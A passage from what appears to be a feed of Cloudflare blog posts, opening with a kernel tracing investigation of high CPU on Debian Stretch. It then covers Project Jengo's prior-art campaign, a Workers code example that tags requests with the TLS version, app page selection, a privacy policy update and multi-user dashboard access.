$ sudo /usr/share/bcc/tools/funclatency -uTi 1 do_sendfile Tracing 1 functions for "do_sendfile"... Hit Ctrl-C to end. 23:27:28 usecs : count distribution 0 -> 1 : 1 | | 2 -> 3 : 20 |*** | 4 -> 7 : 46 |******* | 8 -> 15 : 56 |******** | 16 -> 31 : 65 |********** | 32 -> 63 : 75 |*********** | 64 -> 127 : 75 |*********** | 128 -> 255 : 258 |****************************************| 256 -> 511 : 144 |********************** | 512 -> 1023 : 24 |*** | 1024 -> 2047 : 27 |**** | 2048 -> 4095 : 28 |**** | 4096 -> 8191 : 35 |***** | 8192 -> 16383 : 1 | |

In the flamegraphs, you can see timers being set at the tip (mod_timer function), with these timers taking locks. On Stretch we installed 3x more timers, resulting in 10x the amount of contention:

  • Jessie
$ sudo /usr/share/bcc/tools/funccount -T -i 1 mod_timer Tracing 1 functions for "mod_timer"... Hit Ctrl-C to end. 00:33:36 FUNC COUNT mod_timer 60482 00:33:37 FUNC COUNT mod_timer 58263 00:33:38 FUNC COUNT mod_timer 54626 $ sudo /usr/share/bcc/tools/funccount -T -i 1 lock_timer_base Tracing 1 functions for "lock_timer_base"... Hit Ctrl-C to end. 00:32:36 FUNC COUNT lock_timer_base 15962 00:32:37 FUNC COUNT lock_timer_base 16261 00:32:38 FUNC COUNT lock_timer_base 15806
  • Stretch
$ sudo /usr/share/bcc/tools/funccount -T -i 1 mod_timer Tracing 1 functions for "mod_timer"... Hit Ctrl-C to end. 00:33:28 FUNC COUNT mod_timer 149068 00:33:29 FUNC COUNT mod_timer 155994 00:33:30 FUNC COUNT mod_timer 160688 $ sudo /usr/share/bcc/tools/funccount -T -i 1 lock_timer_base Tracing 1 functions for "lock_timer_base"... Hit Ctrl-C to end. 00:32:32 FUNC COUNT lock_timer_base 119189 00:32:33 FUNC COUNT lock_timer_base 196895 00:32:34 FUNC COUNT lock_timer_base 140085

The Linux kernel includes debugging facilities for timers, which call the timer:timer_start tracepoint on every timer start. This allowed us to pull up timer names:

  • Jessie
$ sudo perf record -e timer:timer_start -p 23485 -- sleep 10 && sudo perf script | sed 's/.* function=//g' | awk '{ print $1 }' | sort | uniq -c [ perf record: Woken up 54 times to write data ] [ perf record: Captured and wrote 17.778 MB perf.data (173520 samples) ] 6 blk_rq_timed_out_timer 2 clocksource_watchdog 5 commit_timeout 5 cursor_timer_handler 2 dev_watchdog 10 garp_join_timer 2 ixgbe_service_timer 36 reqsk_timer_handler 4769 tcp_delack_timer 171 tcp_keepalive_timer 168512 tcp_write_timer
  • Stretch
$ sudo perf record -e timer:timer_start -p 3416 -- sleep 10 && sudo perf script | sed 's/.* function=//g' | awk '{ print $1 }' | sort | uniq -c [ perf record: Woken up 671 times to write data ] [ perf record: Captured and wrote 198.273 MB perf.data (1988650 samples) ] 6 clocksource_watchdog 4 commit_timeout 12 cursor_timer_handler 2 dev_watchdog 18 garp_join_timer 4 ixgbe_service_timer 1 neigh_timer_handler 1 reqsk_timer_handler 4622 tcp_delack_timer 1 tcp_keepalive_timer 1983978 tcp_write_timer 1 writeout_period

So basically we install 12x more tcp_write_timer timers, resulting in higher kernel CPU usage.

Taking specific flamegraphs of the timers revealed the differences in their operation:

  • Jessie

Tracing System CPU on Debian Stretch

  • Stretch

Tracing System CPU on Debian Stretch

We then traced the functions that were different:

  • Jessie
$ sudo /usr/share/bcc/tools/funccount -T -i 1 tcp_sendmsg Tracing 1 functions for "tcp_sendmsg"... Hit Ctrl-C to end. 03:33:33 FUNC COUNT tcp_sendmsg 21166 03:33:34 FUNC COUNT tcp_sendmsg 21768 03:33:35 FUNC COUNT tcp_sendmsg 21712 $ sudo /usr/share/bcc/tools/funccount -T -i 1 tcp_push_one Tracing 1 functions for "tcp_push_one"... Hit Ctrl-C to end. 03:37:14 FUNC COUNT tcp_push_one 496 03:37:15 FUNC COUNT tcp_push_one 432 03:37:16 FUNC COUNT tcp_push_one 495 $ sudo /usr/share/bcc/tools/trace -p 23485 'tcp_sendmsg "%d", arg3' -T -M 100000 | awk '{ print $NF }' | sort | uniq -c | sort -n | tail 1583 4 2043 54 3546 18 4016 59 4423 50 5349 8 6154 40 6620 38 17121 51 39528 44
  • Stretch
$ sudo /usr/share/bcc/tools/funccount -T -i 1 tcp_sendmsg Tracing 1 functions for "tcp_sendmsg"... Hit Ctrl-C to end. 03:33:30 FUNC COUNT tcp_sendmsg 53834 03:33:31 FUNC COUNT tcp_sendmsg 49472 03:33:32 FUNC COUNT tcp_sendmsg 51221 $ sudo /usr/share/bcc/tools/funccount -T -i 1 tcp_push_one Tracing 1 functions for "tcp_push_one"... Hit Ctrl-C to end. 03:37:10 FUNC COUNT tcp_push_one 64483 03:37:11 FUNC COUNT tcp_push_one 65058 03:37:12 FUNC COUNT tcp_push_one 72394 $ sudo /usr/share/bcc/tools/trace -p 3416 'tcp_sendmsg "%d", arg3' -T -M 100000 | awk '{ print $NF }' | sort | uniq -c | sort -n | tail 396 46 409 4 1124 50 1305 18 1547 40 1672 59 1729 8 2181 38 19052 44 64504 4096

The traces showed huge variations of tcp_sendmsg and tcp_push_one within sendfile.

To further introspect, we leveraged a kernel feature available since 4.9: the ability to count stacks. This led us to measuring what hits tcp_push_one:

  • Jessie
$ sudo /usr/share/bcc/tools/stackcount -i 10 tcp_push_one Tracing 1 functions for "tcp_push_one"... Hit Ctrl-C to end. tcp_push_one inet_sendmsg sock_sendmsg sock_write_iter do_iter_readv_writev do_readv_writev vfs_writev do_writev SyS_writev do_syscall_64 return_from_SYSCALL_64 1 tcp_push_one inet_sendpage kernel_sendpage sock_sendpage pipe_to_sendpage __splice_from_pipe splice_from_pipe generic_splice_sendpage direct_splice_actor splice_direct_to_actor do_splice_direct do_sendfile sys_sendfile64 do_syscall_64 return_from_SYSCALL_64 4950
  • Stretch
$ sudo /usr/share/bcc/tools/stackcount -i 10 tcp_push_one Tracing 1 functions for "tcp_push_one"... Hit Ctrl-C to end. tcp_push_one inet_sendmsg sock_sendmsg sock_write_iter do_iter_readv_writev do_readv_writev vfs_writev do_writev SyS_writev do_syscall_64 return_from_SYSCALL_64 123 tcp_push_one inet_sendmsg sock_sendmsg sock_write_iter __vfs_write vfs_write SyS_write do_syscall_64 return_from_SYSCALL_64 172 tcp_push_one inet_sendmsg sock_sendmsg kernel_sendmsg sock_no_sendpage tcp_sendpage inet_sendpage kernel_sendpage sock_sendpage pipe_to_sendpage __splice_from_pipe splice_from_pipe generic_splice_sendpage direct_splice_actor splice_direct_to_actor do_splice_direct do_sendfile sys_sendfile64 do_syscall_64 return_from_SYSCALL_64 735110

If you diff the most popular stacks, you'll get:

--- jessie.txt 2017-08-16 21:14:13.000000000 -0700 +++ stretch.txt 2017-08-16 21:14:20.000000000 -0700 @@ -1,4 +1,9 @@ tcp_push_one +inet_sendmsg +sock_sendmsg +kernel_sendmsg +sock_no_sendpage +tcp_sendpage inet_sendpage kernel_sendpage sock_sendpage

Let's look closer at tcp_sendpage:

int tcp_sendpage(struct sock *sk, struct page *page, int offset, size_t size, int flags) { ssize_t res; if (!(sk->sk_route_caps & NETIF_F_SG) || !sk_check_csum_caps(sk)) return sock_no_sendpage(sk->sk_socket, page, offset, size, flags); lock_sock(sk); tcp_rate_check_app_limited(sk); /* is sending application-limited? */ res = do_tcp_sendpages(sk, page, offset, size, flags); release_sock(sk); return res; }

It looks like we don't enter the if body. We looked up what NET_F_SG does: segmentation offload. This difference is peculiar, since both OS'es should have this enabled.

Even deeper, to the crux

It turned out that we had segmentation offload enabled for only a few of our NICs: eth2, eth3, and bond0. Our network setup can be described as follows:

eth2 -->| |--> vlan10 |---> bond0 -->| eth3 -->| |--> vlan100

The missing piece was that we were missing segmentation offload on VLAN interfaces, where the actual IPs live.

Here's the diff from ethtook -k vlan10:

$ diff -rup <(ssh jessie sudo ethtool -k vlan10) <(ssh stretch sudo ethtool -k vlan10) --- /dev/fd/63 2017-08-16 21:21:12.000000000 -0700 +++ /dev/fd/62 2017-08-16 21:21:12.000000000 -0700 @@ -1,21 +1,21 @@ Features for vlan10: rx-checksumming: off [fixed] -tx-checksumming: off +tx-checksumming: on tx-checksum-ipv4: off [fixed] - tx-checksum-ip-generic: off + tx-checksum-ip-generic: on tx-checksum-ipv6: off [fixed] tx-checksum-fcoe-crc: off tx-checksum-sctp: off -scatter-gather: off - tx-scatter-gather: off +scatter-gather: on + tx-scatter-gather: on tx-scatter-gather-fraglist: off -tcp-segmentation-offload: off - tx-tcp-segmentation: off [requested on] - tx-tcp-ecn-segmentation: off [requested on] - tx-tcp-mangleid-segmentation: off [requested on] - tx-tcp6-segmentation: off [requested on] -udp-fragmentation-offload: off [requested on] -generic-segmentation-offload: off [requested on] +tcp-segmentation-offload: on + tx-tcp-segmentation: on + tx-tcp-ecn-segmentation: on + tx-tcp-mangleid-segmentation: on + tx-tcp6-segmentation: on +udp-fragmentation-offload: on +generic-segmentation-offload: on generic-receive-offload: on large-receive-offload: off [fixed] rx-vlan-offload: off [fixed]

So we entusiastically enabled segmentation offload:

$ sudo ethtool -K vlan10 sg on

And it didn't help! Will the suffering ever end? Let's also enable TCP transmission checksumming offload:

$ sudo ethtool -K vlan10 tx on Actual changes: tx-checksumming: on tx-checksum-ip-generic: on tcp-segmentation-offload: on tx-tcp-segmentation: on tx-tcp-ecn-segmentation: on tx-tcp-mangleid-segmentation: on tx-tcp6-segmentation: on udp-fragmentation-offload: on

Nothing. The diff is essentially empty now:

$ diff -rup <(ssh jessie sudo ethtool -k vlan10) <(ssh stretch sudo ethtool -k vlan10) --- /dev/fd/63 2017-08-16 21:31:27.000000000 -0700 +++ /dev/fd/62 2017-08-16 21:31:27.000000000 -0700 @@ -4,11 +4,11 @@ tx-checksumming: on tx-checksum-ipv4: off [fixed] tx-checksum-ip-generic: on tx-checksum-ipv6: off [fixed] - tx-checksum-fcoe-crc: off [requested on] - tx-checksum-sctp: off [requested on] + tx-checksum-fcoe-crc: off + tx-checksum-sctp: off scatter-gather: on tx-scatter-gather: on - tx-scatter-gather-fraglist: off [requested on] + tx-scatter-gather-fraglist: off tcp-segmentation-offload: on tx-tcp-segmentation: on tx-tcp-ecn-segmentation: on

The last missing piece we found was that offload changes are applied only during connection initiation, so we restarted Kafka, and we immediately saw a performance improvement (green line):

Tracing System CPU on Debian Stretch

Not enabling offload features when possible seems like a pretty bad regression, so we filed a ticket for systemd:

In the meantime, we work around our upstream issue by enabling offload features automatically on boot if they are disabled on VLAN interfaces.

Having a fix enabled, we rebooted our logs Kafka cluster to upgrade to the latest kernel, and our 5 day CPU usage history yielded positive results:

Tracing System CPU on Debian Stretch

The DNS cluster also yielded positive results, with just 2 nodes rebooted (purple line going down):

Tracing System CPU on Debian Stretch

Conclusion

It was an error on our part to hit performance degradation without a good regression framework in place to catch the issue. Luckily, due to our heavy use of version control, we managed to bisect the issue rather quickly, and had a temp rollback in place while root causing the problem.

In the end, enabling offload also removed RCU stalls. It's not really clear whether it was the cause or just a catalyst, but the end result speaks for itself.

On the bright side, we dug pretty deep into Linux kernel internals, and although there were fleeting moments of giving up, moving to the woods to become a park ranger, we persevered and came out of the forest successful.

If deep diving from high level symptoms to kernel/OS issues makes you excited, drop us a line.

Categories: Technology

Project Jengo Celebrates One Year Anniversary by Releasing Prior Art

Fri, 11/05/2018 - 18:30
Project Jengo Celebrates One Year Anniversary by Releasing Prior Art

Project Jengo Celebrates One Year Anniversary by Releasing Prior Art

Today marks the one year anniversary of Project Jengo, a crowdsourced search for prior art that Cloudflare created and funded in response to the actions of Blackbird Technologies, a notorious patent troll. Blackbird has filed more than one hundred lawsuits asserting dormant patents without engaging in any innovative or commercial activities of its own. In homage to the typical anniversary cliché, we are taking this opportunity to reflect on the last year and confirm that we’re still going strong.

Project Jengo arose from a sense of immense frustration over the way that patent trolls purchase over-broad patents and use aggressive litigation tactics to elicit painful settlements from companies. These trolls know that the system is slanted in their favor, and we wanted to change that. Patent lawsuits take years to reach trial and cost an inordinate sum to defend. Knowing this, trolls just sit back and wait for companies to settle. Instead of perpetuating this cycle, Cloudflare decided to bring the community together and fight back.

After Blackbird filed a lawsuit against Cloudflare alleging infringement of a vague and overly-broad patent (‘335 Patent), we launched Project Jengo, which offered a reward to people who submitted prior art that could be used to invalidate any of Blackbird’s patents. Through this program, we wanted to make sure Blackbird couldn’t use any of its patents to attack other innovating companies. So far, the project has been a great success. We’ve received hundreds of prior art submissions from the Project that read across much of Blackbird’s patent portfolio.

An Arsenal to Fight Back

Today we are releasing the core of the prior art we have collected, reviewed, and organized. In this way, other innovators can benefit from the efforts of Project Jengo. If at any point you are sued by Blackbird, you can go here to find the list of approximately 200 pieces of prior art that apply to 34 Blackbird patents. If you find yourself on the wrong end of a Blackbird patent troll lawsuit asserting one of those patents, this free information may be what you need to defend yourself.

Tired of All the Winning

So far, our legal arguments against Blackbird’s patents have been very well received by courts and administrative officials. This supports our assertion that patent trolls raise claims of dubious merit and hope that parties will settle with them to avoid the cost of defense.

Blackbird’s case against Cloudflare: As readers of this blog already know, in February 2018 the U.S. District Court for the Northern District of California short-circuited Blackbird’s lawsuit against Cloudflare by granting Cloudflare’s Motion to Dismiss on an Alice motion, which means that the court ruled the '335 Patent was too abstract to be valid because abstract ideas are not patentable. In granting Cloudflare’s motion, Judge Chhabria noted that Blackbird’s assertion of the patent “attempts to monopolize the abstract idea of monitoring a preexisting data stream between a server.”

But there’s an update. Blackbird recently appealed the ruling to the United States Court of Appeals for the Federal Circuit, a special federal court that hears all appeals related to patents. Currently, the parties are submitting briefs to the court and expect to participate in a hearing on the issue in December. Cloudflare will continue our fight to show that Blackbird’s '335 Patent is a non-patentable abstract idea and its lawsuit is meritless.

In addition, there have been updates from the U.S. Supreme Court that relate to our fight. In April, the Supreme Court decided the Oil States case maintaining the constitutionality of the inter partes review (IPR) process. As we have previously discussed, the IPR process is an administrative method for invalidating a patent outside of litigation, by going back to the Patent Office and petitioning them to review the validity of the patent based on the invention’s novelty or obviousness. To keep the pressure on Blackbird, Cloudflare filed an IPR related to the '335 Patent. The Patent Trial and Appeal Board (PTAB) will likely decide whether to grant the petition by October 2018 and, if granted, a hearing about invalidating the '335 Patent would be scheduled for approximately a year later. The legal and administrative challenges to the validity of the '335 Patent will proceed in parallel; they present slightly different goals but seek the same outcome -- to invalidate a bad patent.

Project Jengo strikes its first target: We wrote previously about Project Jengo’s intention to challenge other clearly invalid patents in the Blackbird portfolio before they could be used to victimize other innovative companies. The first target of Project Jengo apart from the patent asserted against Cloudflare was U.S. Patent 7,797,448 (“GPS-internet Linkage”).

This patent described an “integrated system comprising the Global Positioning System and the Internet wherein the integrated system can identify the precise geographic location of both sender and receiver communicating computer terminals.” This broadly-worded patent could potentially be used to sue a massive number of technology products that involve GPS or other location technology. In July 2016, Blackbird sued and settled with six companies under a lawsuit relying on the '448 Patent. Even though Blackbird had not sued Cloudflare under this patent, and it seemed an unlikely threat to us directly, we made it a target of Project Jengo because we thought this patent was terrible and posed a unique threat to others in the tech industry. That’s the spirit and larger mission that brought so many of you to this effort.

We have good news to report on this front as well.

Based on the strength of the prior art we received through Project Jengo and the number of times Blackbird had used the ‘448 Patent to elicit a settlement, we filed for an ex parte reexamination (EPR) of the ‘448 Patent by the US Patent and Trademark Office (“USPTO”). The EPR is another--less formal--administrative proceeding that can be used to challenge obviously deficient patents. In March, the USPTO issued a Non-Final Office Action that proposed rejecting the ‘448 Patent, noting, “the ‘448 Patent does not have support for the new or amended claims.” In rejecting the ‘448 claims, USPTO relied heavily on prior art submitted by the Project Jengo community.

In response to the Non-FInal Office Action, Cloudflare supplied additional briefs for the USPTO to consider. After considering those briefs, the USPTO will decide whether or not to change its initial conclusions and issue a final order.

Project Jengo Celebrates One Year Anniversary by Releasing Prior Art

The Search Continues

And we’re not done. As we’ve said from the beginning, our goal in this effort is to collect prior art on all of Blackbird’s patents. The window is still open. You’re welcome to submit additional prior art that will be considered for the bounty awards, added to the arsenal, and most importantly, earn you a nifty Project Jengo t-shirt. We’ve awarded more than $7,500 to participants so far and plan to distribute more than $40,000 more before Project Jengo is done. If you would like to join Project Jengo, please submit any prior art you think will be relevant here and stay tuned for more awards and updates.

A Blackbird Living in a Glass House (an appeal to Raytheon)

Finally, Matthew wouldn’t let us post another Jengo update without including a public appeal to our friends at Raytheon. You see, Raytheon, a company holding thousands of patents and headquartered in Massachusetts, bought a company called Blackbird Technologies in 2014 and still owns the trademark. When Blackbird Technologies, a notorious patent troll holding hundreds of patents and also based in Massachusetts, sued Cloudflare last year, we were briefly confused whether there was a connection ... there isn’t. So we’re looking for a senior executive at Raytheon with a sense of humor or a protective Raytheon lawyer without one that would be willing to give us a license to the trademark they hold for Blackbird Techologies® for a very limited and particular use. We’d suggest a fee of “$1 and other good and valuable consideration,” the same amount the patent troll claims they paid for the patent they used as the basis for their lawsuit against Cloudflare.

And this shouldn’t even need to engage the sense of humor over at Raytheon, we definitely think the attorneys on their IP team should be concerned that a company in their own backyard is infringing on and disparaging the name of one of their brands. This is especially the case since the patent troll holds a number of broad patents on things like determining travel time, utilizing GPS data, and dealing with electronic equipment, that could be understood as overlapping with Raytheon’s business. It’s a lawsuit with much more legal merit and actual injury than the overwhelming number of cases brought by Blackbird Technologies, the patent troll. If any of you have friends at Raytheon who may be willing to help us use the intellectual property system to shut down or force the rebranding of a notorious patent troll, let us know in the comments.

Categories: Technology

The Rise of Edge Compute: The Video

Tue, 08/05/2018 - 22:28
 The Video

 The Video

At the end of March, Kenton Varda, tech lead and architect for Cloudflare Workers, traveled to London and led a talk about the Rise of Edge Compute where he laid out our vision for the future of the Internet as a platform.

Several of those who were unable to attend on-site asked for us to produce a recording. Well, we've completed the audio edits, so here it is!

Visit the Workers category on Cloudflare's community forum to learn more about Workers and share questions, answers, and ideas with other developers.

Visit the Community Forum Here »

Categories: Technology

Dogfooding Cloudflare Workers

Fri, 04/05/2018 - 17:20
We deployed workers to www.cloudflare.com and api.cloudflare.com Dogfooding Cloudflare Workers

On the WWW team, we’re responsible for Cloudflare’s REST APIs, account management services and the dashboard experience. We take security and PCI compliance seriously, which means we move quickly to stay up to date with regulations and relevant laws.

A recent compliance project had a requirement of detecting certain end user request data at the edge, and reacting to it both in API responses as well as visually in the dashboard. We realized that this was an excellent opportunity to dogfood Cloudflare Workers.

In this blog post, we’ll break down the problem we solved using a single worker that we shipped to multiple hosts, share the annotated source code of our worker, and share some best practices and tips and tricks we discovered along the way.

Since being deployed, our worker has served over 400 million requests for both calls to api.cloudflare.com and the www.cloudflare.com dashboard.

The task

First, we needed to detect when a client was connecting to our services using an outdated TLS protocol. Next, we wanted to pass this information deeper into our application stack so that we could act upon it and conditionally decorate our responses with notices providing a heads up about the imminent changes.

Our Edge team was quick to create a patch to capture TLS connection information for every incoming request, but how would we propagate it our application layer where it could be acted upon?

The solution

The Workers team made a modification to the core platform to ingest the TLS protocol version data sent from the edge, making it available in the workers environment as a property of the cf object available to the worker Javascript context (You can now use this property in your own workers).

With our workers able to inspect the TLS protocol versions of requests, we needed only to append a custom HTTP header containing this information before forwarding them into our application layer.

Our APIs use this data to add deprecation warnings to responses, and our UI uses it to display banners explaining the upcoming changes.

Dogfooding Cloudflare Workers

Let's now take a look at the source code for our worker.

Anatomy of a fail open worker /** * Cloudflare workers implement the service worker spec * See: https://developers.cloudflare.com/workers/about/ for an intro * * Binding an event handler to the fetch event allows your worker to intercept a request for your zone */ addEventListener('fetch', event => { /** * In the event of an uncaught exception, fail open as if the worker did not exist * If you're not sure what you're doing, it's recommended you include this call * as the very first thing your worker does in its fetch event listener * * If you do not include this call, but your worker encounters an uncaught exception * while processing your request, your user will see an edge-level error page * instead of a response from your site, app or API * * Read on below for more info on deciding whether to * fail open or fail closed in your workers */ event.passThroughOnException() //This allows you to return your own Response object from your worker event.respondWith(requestWithTLSHeader(event)) }) /** * Calls out to our Sentry account to create an exception event * * Note that for this to work properly with the event.waitUntil() call in the * exception block within requestWithTLSHeader, this function must return a promise * * @returns {Promise} */ function promisifiedSentryLog(ex) { //Change these constants to your own Sentry values if you want to use this script const sentryProjectId = '<Replace-Me-With-Your-Sentry-Project-Id>' const sentryAPIKey = '<Replace-Me-With-Your-Sentry-API-Key>' //Manually configure our call to Sentry let b = { project: sentryProjectId, logger: "javascript", platform: "javascript", exception: { values: [ { type: "Error", value: ((ex) && (ex.message)) ? ex.message : 'Unknown' } ] } } let sentryUrl = `https://sentry.io/api/${sentryProjectId}/store/?sentry_version=7&sentry_client=raven-js%2F3.24.2&sentry_key=${sentryAPIKey}` /** * Fire off a POST request to Sentry's API, which includes our project * and credentials information, plus arbitrary logging data * * In this case, we're passing along the exception message, * but you could use this pattern to log anything you want * * Keep in mind that fetch returns a promise, * which is what makes this function compatible with event.waitUntil */ return fetch(sentryUrl, { body: JSON.stringify(b), method: 'POST' }) } /** * Creates a new request for the backend that mirrors the incoming request, * with the addition of a new header that specifies which TLS version was used * in the connection to the edge * * This is the main function that contains the core logic for this worker * * It works by checking for the presence of a property 'tlsVersion' that is being forwarded * from the edge into the workers platform so that worker scripts can access it * * The worker starts with a default TLS header. If the tlsVersion property, * which represents the version of the TLS protocol the client connected with, * is present, the worker sets its local tlsVersion variable to the value of this property * * It then wraps the incoming request headers in a new headers object, * which enables us to append our own custom X-Client-SSL-Protocol header * * The worker then forwards the original request * (overriding the headers with our new headers object) to the origin * * Now, our application layer can act upon this information * to show modals and include deprecation warnings as necessary * * @returns {Promise} */ async function requestWithTLSHeader(event) { //It's strongly recommended that you wrap your core worker logic in a try / catch block try { let tlsVersion = "NONE" //Create a new Headers object that includes the original request's headers let reqHeaders = new Headers(request.headers) if (event && event.request && event.request.cf && event.request.cf.tlsVersion && typeof event.request.cf.tlsVersion === "string" && event.request.cf.tlsVersion !== "") { tlsVersion = event.request.cf.tlsVersion } //Add our new header reqHeaders.append('X-Client-SSL-Protocol', tlsVersion) //Extend the original request's headers with our own, but otherwise fetch the original request return await fetch(event.request, { headers: reqHeaders }) } catch (ex) { /** * Signal the runtime that it should wait until the promise resolves * * This avoids race conditions where the runtime stops execution before * our async Sentry task completes * * If you do not do this, the passthrough subrequest will race * your pending asychronous request to Sentry, and you will * miss many events / fail to capture them correctly */ event.waitUntil(promisifiedSentryLog(ex)) /** * Intentionally throw the exception in order to trigger the pass-through * behavior defined by event.passThroughOnException() * * This means that our worker will fail open - and not block requests * to our backend services due to unexpected exceptions */ throw ex } } Asynchrony, logging and alerts via Sentry

We decided to use Sentry to capture events we sent from our worker, but you could follow this same pattern with any similar service.

The critical piece to making this work is understanding that you must signal the Cloudflare worker runtime that it needs to wait upon your asynchronous logging subrequest (and not cancel it).

You do this by:

  1. Ensuring that your logging function returns a promise (what your promise resolves to does not matter)
  2. Wrapping your call to your logging function in event.waitUntil as we have done above

This pattern fixes a common race condition: if you don't leverage event.waitUntil, the runtime will race the passthrough subrequest and your logging subrequest.

If the passthrough subrequest completes significantly faster than your logging subrequest, the logging request could be cancelled. In practice, you'll notice this issue manifesting as dropped logging messages - whether or not a given exception will be logged properly becomes a roll of the dice on every request.

For additional insight, check out our official guide to debugging Cloudflare workers.

Failing open to ensure service continuity

A key consideration when designing your worker is failure behavior. Depending on what your particular worker is accomplishing, you either want it to fail open or failed closed. Failing open means that if something goes horribly wrong, the original request will be passed through as if your worker did not exist, while failing closed means that a request that raises an exception in your worker will not be processed further.

If you are editing metadata, collecting metrics, or adding new non-critical HTTP headers, to name a few examples, you probably don't want an unhandled exception in your worker to prevent the request from being serviced.

In this case, you can leverage event.passThroughOnException as we have above, and it's recommended that you call this method in the first line of your fetch event handler. This sets a flag that the Cloudflare worker request handler can inspect in case of an exception to determine the desired passthrough behavior.

On the other hand, if you're employing your worker in a security-centric role, tasking it with blocking malicious requests from nefarious bots, or blocking access to sensitive endpoints when valid security credentials are not supplied, you may want your worker to fail closed. This is the default behavior, and it will prevent requests that raise exceptions in your worker from being processed further.

Our services are in the critical path for our customers, yet our use case was to conditionally add a new HTTP header, so we knew we wanted to fail open.

Having your worker generate PagerDuty and Hipchat alerts

Now that you've done the work to get data from your worker logged to Sentry, you can leverage Sentry's PagerDuty integration to configure alerts for exceptions that occur in your workers.

This will increase your team's confidence in your worker-based solutions, and alert you immediately to any new issues that occur in production.

Share your worker recipes

You can find additional worker recipes and examples in our official documentation.

Have you written a worker that you'd like to share? Send it to us and you might get featured on our blog or added to our Cloudflare worker recipe collection with a credit.

Categories: Technology

Custom Page Selection for Cloudflare Apps

Thu, 03/05/2018 - 18:00
Custom Page Selection for Cloudflare Apps

In July 2016, Cloudflare integrated with Eager - an apps platform. During this integration, several decisions were made to ensure an optimal experience installing apps. We wanted to make sure site owners on Cloudflare could customize and install an app with the minimal number of clicks possible. Customizability often adds complexity and clicks for the user. We’ve been tinkering to find the right balance of user control and simplicity since.

When installing an app, a site owner must select where - what URLs on their site - they want what apps installed. Our original plan for selecting the URLs an app would be installed on took a few twists and turns. Our end decision was to utilize our Always Online crawler to pre-populate a tree of the user’s site. Always Online is a feature that crawls Cloudflare sites and serves pages from our cache if the site goes down.

The benefits to this original setup are:
1. Only valid pages appear
An app only allows installations on html pages. For example, since injecting Javascript into a JPEG image isn’t possible, we would prevent the installer from trying it by not showing that path. Preventing the user from that type of phony installation prevents the user from being confused later when it doesn’t work.
2. The user was not required to know any URL of their site
The URLs are available right there in the UI. With the click of a check mark, the user would not have to type a thing.

Custom Page Selection for Cloudflare Apps

The disadvantage of this setup is the dependency of the Always Online crawler.

First off, some users do not wish to have Always Online turned on. Without the consent of the site owner to crawl the site via Always Online, the page loader tree will not load and the user had no options of pages to install an app on.

When a user does have Always Online enabled properly, the crawler might not crawl every page the site owner wishes to install an app on.

The duty of Always Online is to make sure in the most catastrophic event for a site owner - their site being down - users can still see a version of the site via cached static HTML. Once upon a time before Always Online v2, we actually used the Google bot and other search engine crawlers’ activity to decide what to cache for the Always Online feature. We found that implementing our own crawler made more sense. Our goal is to make sure the most vital pages of a site are crawled and stored on our cache, contrasting with search engine crawler’s priority of get the most information possible from the site, thus going “deep” into the depths of a site map.

The duty of an app install on Cloudflare’s Apps platform is to seamlessly enable users to select pages in which to inject Javascript, HTML, CSS, and in the near future, Cloudflare Service Workers into. Since the objectives of the Always Online crawler differ from that of the Cloudflare Apps platform, there were inevitable consequences. Here are some examples where a page would not be crawled:

  • The page’s subdomain was not "orange-clouded".
  • The page was not be accessible from the site's homepage via links.
  • The site’s homepage had too many links for us to follow.
  • The page was password-protected, preventing us from accessing it and adding it to your site map.
  • The page was added before we had a chance to crawl the site.

Although our custom crawler works well for the Always Online feature, this limited control for our customers who are installing apps. We decided to do something about it. Combining the advantages of the crawler data we already had implemented with the ability to enter any URL in an install, we created the best of both worlds.

Custom Page Selection for Cloudflare Apps)

Now, site owners can type in whatever URL they wish to install an app. There is also an option for selecting an entire directory or strictly that page. For simplicity, no regex patterns are supported.

As the apps on the Cloudflare Apps platform advance, it is vital that the platform itself advance. In the near future, the App’s platform will have the power of Cloudflare Workers, local testing, and much more to come.

Categories: Technology

Sharing more Details, not more Data: Our new Privacy Policy and Data Protection Plans

Wed, 02/05/2018 - 17:00
 Our new Privacy Policy and Data Protection Plans

After an exhilarating first month as Cloudflare’s first Data Protection Officer, I’m excited to announce that today we are launching a new Privacy Policy. Our new policy explains the kind of information we collect, from whom we collect it, and how we use it in a more transparent way. We also provide clearer instructions for how you, our users, can exercise your data subject rights. Importantly, nothing in our privacy policy changes the level of privacy protection for your information.

Our new policy is a key milestone in our GDPR readiness journey, and it goes into effect on May 25 — the same day as the GDPR. (You can learn more about the European Union’s General Data Protection Regulation here.) But our GDPR journey doesn’t end on May 25.

Over the coming months, we’ll be following GDPR-related developments, providing you periodic updates about what we learn, and adapting our approach as needed. And I’ll continue to focus on GDPR compliance efforts, including coordinating our responses to data subject requests for information about how their data is being handled, evaluating the privacy impact of new products and services on our users’ personal data, and working with customers who want to sign a data protection addendum with us to help with their own GDPR compliance efforts.

 Our new Privacy Policy and Data Protection PlansImage courtesy of pixabay

We also know there’s a bigger world out there than just the EU. So not only are we implementing GDPR-required measures to our global network to provide a level playing field for all, we are also evaluating and incorporating other jurisdictions’ data protection requirements as needed. This commitment to privacy is core to our mission to help build a better Internet.

Being a DPO isn’t just about the GDPR

As DPO, I’ll be working with Cloudflare’s leadership to fulfill our commitment to privacy by continuing to invest in privacy protections and solutions for our users. This will include working with the business teams to evaluate the privacy impact of new products and services on our users’ personal information, develop tools to help our customers protect the privacy of their website traffic, and innovate solutions — like the DNS resolver 1.1.1.1. — that make the Internet faster and more private for anyone.

I’ll also be advising our business, engineering, marketing, sales, support, operations, and other teams on global privacy law requirements and working with our Public Policy team to understand the impact legislative or regulatory proposals may have on the privacy and security of our users’ data.

 Our new Privacy Policy and Data Protection Plans
CC BY 2.0 image by jane.boyko

I am thrilled to be part of the talented and dedicated Cloudflare team, and I look forward to working with this ever-expanding Cloudflare community. Have a privacy question or concern? You can reach me at privacyquestions@cloudflare.com.

P.S. We are committed to communicating transparently on our data protection journey, so we are posting our Privacy Policy on Github. In the event we need to update our Privacy Policy again, you’ll be able to track our changes.

Categories: Technology

Expanding Multi-User Access on dash.cloudflare.com

Wed, 02/05/2018 - 16:00
Expanding Multi-User Access on dash.cloudflare.com

One of the most common feature requests we get is to allow customers to share account access. This has been supported at our Enterprise level of service, but is now being extended to all customers. Starting today, users can go to the new home of Cloudflare’s Dashboard at dash.cloudflare.com. Upon login, users will see the redesigned account experience. Now users can manage all of their account level settings and features in a more streamlined UI.

Expanding Multi-User Access on dash.cloudflare.com
CC BY 2.0 image by Mike Lawrence

